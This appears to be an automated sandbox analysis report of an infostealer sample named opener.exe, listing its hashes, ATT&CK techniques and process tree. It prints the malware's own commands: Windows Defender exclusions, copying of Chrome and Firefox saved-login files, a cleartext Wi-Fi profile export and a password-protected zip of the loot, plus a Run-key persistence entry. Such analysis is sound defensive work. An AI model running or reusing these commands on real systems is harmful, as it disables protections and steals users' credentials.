92b29ad7ebea1915ab39c6649719afc7fb7ea31a31bdc2728ff741bef2d5096c

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 19:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
opener.exe
Size 399KB
Sample260807-yc2djsvxgt
SHA256 92b29ad7ebea1915ab39c6649719afc7fb7ea31a31bdc2728ff741bef2d5096c
MD5 0b40e469c6051d3b4416c3a82bbadade
SHA1 75d010465e3605f2045d92b525203f35137348f8
SHA512 fb92614a425fad720e85e3013abdd4d69b9b19a509ceb7230ac429374779317b03e328dc671062bb78b760c40b0e9a5c115e6709289f435000b1d6545a174c7a
SSDEEP 6144:ptKbCEfbMyY2VYjKS55/rQWvV3wvdruoY1GROi/GcAe:zKbCAVYjeWvV3wRR1ucAe
TLSH
T118945C117991D032D97708768DFACB799E3DFC810B6169DBA3C40FAE4E206D1BB3061A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1332	powershell.exe
4836	powershell.exe
1440	powershell.exe
2152	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
932	trojan.exe
3784	trojan.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsCache = "C:\\Users\\Admin\\AppData\\Local\\Temp\\opener.exe"	opener.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsCache = "C:\\Users\\Admin\\AppData\\Local\\Temp\\opener.exe"	opener.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
4	discord.com
6	discord.com
7	discord.com
8	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5812	cmd.exe
4132	cmd.exe
1336	cmd.exe
2960	cmd.exe
4508	cmd.exe
4944	cmd.exe
464	cmd.exe
4388	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	opener.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trojan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	opener.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trojan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4836	powershell.exe
4836	powershell.exe
1332	powershell.exe
1332	powershell.exe
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe
1440	powershell.exe
1440	powershell.exe
1440	powershell.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeIncreaseQuotaPrivilege	1332	powershell.exe
Token: SeSecurityPrivilege	1332	powershell.exe
Token: SeTakeOwnershipPrivilege	1332	powershell.exe
Token: SeLoadDriverPrivilege	1332	powershell.exe
Token: SeSystemProfilePrivilege	1332	powershell.exe
Token: SeSystemtimePrivilege	1332	powershell.exe
Token: SeProfSingleProcessPrivilege	1332	powershell.exe
Token: SeIncBasePriorityPrivilege	1332	powershell.exe
Token: SeCreatePagefilePrivilege	1332	powershell.exe
Token: SeBackupPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1332	powershell.exe
Token: SeShutdownPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeSystemEnvironmentPrivilege	1332	powershell.exe
Token: SeRemoteShutdownPrivilege	1332	powershell.exe
Token: SeUndockPrivilege	1332	powershell.exe
Token: SeManageVolumePrivilege	1332	powershell.exe
Token: 33	1332	powershell.exe
Token: 34	1332	powershell.exe
Token: 35	1332	powershell.exe
Token: 36	1332	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 4836	2520	opener.exe	89
PID 2520 wrote to memory of 932	2520	opener.exe	91
PID 1776 wrote to memory of 3784	1776	opener.exe	94
PID 4836 wrote to memory of 1332	4836	powershell.exe	95
PID 932 wrote to memory of 4388	932	trojan.exe	97
PID 932 wrote to memory of 5812	932	trojan.exe	99
PID 932 wrote to memory of 4132	932	trojan.exe	101
PID 4132 wrote to memory of 4448	4132	cmd.exe	103
PID 3784 wrote to memory of 1336	3784	trojan.exe	104
PID 3784 wrote to memory of 2960	3784	trojan.exe	106
PID 3784 wrote to memory of 4508	3784	trojan.exe	108
PID 4508 wrote to memory of 1296	4508	cmd.exe	110
PID 932 wrote to memory of 4944	932	trojan.exe	111
PID 4944 wrote to memory of 2152	4944	cmd.exe	113
PID 3784 wrote to memory of 464	3784	trojan.exe	114
PID 464 wrote to memory of 1440	464	cmd.exe	116

C:\Users\Admin\AppData\Local\Temp\opener.exe
"C:\Users\Admin\AppData\Local\Temp\opener.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1332
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data" C:\Users\Public\chrome.db >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Users\Public\ff.json >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan export profile key=clear folder=C:\Users\Public\ >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4132
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan export profile key=clear folder=C:\Users\Public\
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:4448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EkjajhlijevE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EkjajhlijevE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EkjajhlijevE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EkjajhlijevE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2152

C:\Users\Admin\AppData\Local\Temp\opener.exe
C:\Users\Admin\AppData\Local\Temp\opener.exe
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data" C:\Users\Public\chrome.db >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Users\Public\ff.json >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan export profile key=clear folder=C:\Users\Public\ >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan export profile key=clear folder=C:\Users\Public\
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:1296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EqetelhwhmsE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EqetelhwhmsE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:464
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EqetelhwhmsE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EqetelhwhmsE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 7a1be2719f8ad52e9212c75e258c557c1630e171e38a62f187e9c54a31657147
MD5 8f792059d5efa96642fd6cdde4d17258
SHA1 8f2f6227b24e3abfb3c40600d21fe596a9b863d5
SHA512 726979e7332603f2c978853fe3e9161284f262966069e9e7aa15fb79cfbd80f10b73a6c01d5edc54da85985e53b7bc2eb22b8b66449f69509d654feb3edd1f86
SSDEEP 192:m1ZB1G9GpY14bcn7JryMoGEhuX0+cqLbaoVeeu9RlpRk+8m2jmg+VMIA8Qei4jI8:m1ZB1G9GW14b8FvoG+V+nFevrr2PndIj
TLSH
T1D1328698616FADCBD8E212B4249A42A7FBA4E0CC53751199EF37CE3F1CA0FB65B10414
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 98a87c462c30a0533743aa89793e751b09cc1239a4fbc65c0c5be5f2ad8b9aa6
MD5 bffb105458db5c304562da28f1a625aa
SHA1 b1b9b8747fc910e2ea27ca744e40ded6d61f6a6f
SHA512 38a266064212bccefa5b3617f53f24ebdf42acb5d06a2a0e09cccc4df7404b0f2ed96ff81b16e2bd2dd62086aa5da4ddb4a391c4aa20471945dd10df9c395039
SSDEEP 384:/1FBaGO1iBUskTha08k/+g1ksrr2PsOEkMzdC0AIACOwlNlRFc1WxbhNIfGDlRvC:dFn66UskThaK/+KkM6UNZC0AIAXD1cb+
TLSH
T104A2C62D217F6DC7D89222B400C203A7FBE4D449EA725194FE5BCE2B5C45EB64EA16F0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_uko5yewq.who.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uko5yewq.who.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

trojan.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe
Size 211KB
SHA256 9456396673db793efe2651e4fd9d9307a93941db5d22ccaa1a1574318cf92258
MD5 922b11ee7cba2d65e3af903c9b3c8d34
SHA1 6822c3c519dd24980a5eaa67f72606b8e66ba375
SHA512 7bbcd97159804e66636eb0b18f87e47ce965385a9275f372b761535a0756e24822a9d047c91b496c7ffcd5abe4c6793f3fa490cd77ccf1a55861889774ac307c
SSDEEP 3072:VJFrZrw0XcRQS2Rvig39qvdr1nErsPQW8GSAJHl3YPQHh9SbUXkqPACv9D/gdcA:n/rQWvV3wvdruoY1GROi/GcA
TLSH
T182247E117991D032E97708768DFA9B7D8E3DF8410F6569D7A3C40EEE8E206D1BB3160A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1332-29-0x0000000007370000-0x000000000737A000-memory.dmp

Download

memory/1332-30-0x0000000007570000-0x0000000007606000-memory.dmp

Download

memory/1332-28-0x0000000007300000-0x000000000731A000-memory.dmp

Download

memory/1332-27-0x0000000007940000-0x0000000007FBC000-memory.dmp

Download

memory/1332-26-0x00000000071A0000-0x0000000007243000-memory.dmp

Download

memory/1332-25-0x00000000065D0000-0x00000000065F0000-memory.dmp

Download

memory/1332-21-0x0000000006570000-0x00000000065A6000-memory.dmp

Download

memory/1332-22-0x0000000070D50000-0x0000000070D9C000-memory.dmp

Download

memory/1440-46-0x0000000074CC0000-0x0000000074D0C000-memory.dmp

Download

memory/2152-39-0x0000000006470000-0x00000000064BC000-memory.dmp

Download

memory/2152-37-0x0000000006030000-0x000000000638B000-memory.dmp

Download

memory/2152-51-0x00000000089A0000-0x0000000008F5A000-memory.dmp

Download

memory/2152-50-0x0000000007A30000-0x0000000007A52000-memory.dmp

Download

memory/2152-49-0x0000000007900000-0x0000000007911000-memory.dmp

Download

memory/2152-45-0x00000000075E0000-0x0000000007683000-memory.dmp

Download

memory/2152-42-0x0000000074CC0000-0x0000000074D0C000-memory.dmp

Download

memory/4836-13-0x0000000005EA0000-0x0000000005F06000-memory.dmp

Download

memory/4836-9-0x0000000005670000-0x0000000005CBA000-memory.dmp

Download

memory/4836-34-0x0000000074C60000-0x000000007541C000-memory.dmp

Download

memory/4836-10-0x0000000074C60000-0x000000007541C000-memory.dmp

Download

memory/4836-8-0x0000000074C60000-0x000000007541C000-memory.dmp

Download

memory/4836-11-0x0000000005630000-0x0000000005652000-memory.dmp

Download

memory/4836-18-0x0000000006440000-0x000000000648C000-memory.dmp

Download

memory/4836-6-0x0000000002C10000-0x0000000002C46000-memory.dmp

Download

memory/4836-12-0x0000000005E30000-0x0000000005E96000-memory.dmp

Download

memory/4836-16-0x0000000005F10000-0x000000000626B000-memory.dmp

Download

memory/4836-17-0x0000000006410000-0x000000000642E000-memory.dmp

Download

memory/4836-5-0x0000000074C72000-0x0000000074C73000-memory.dmp

Download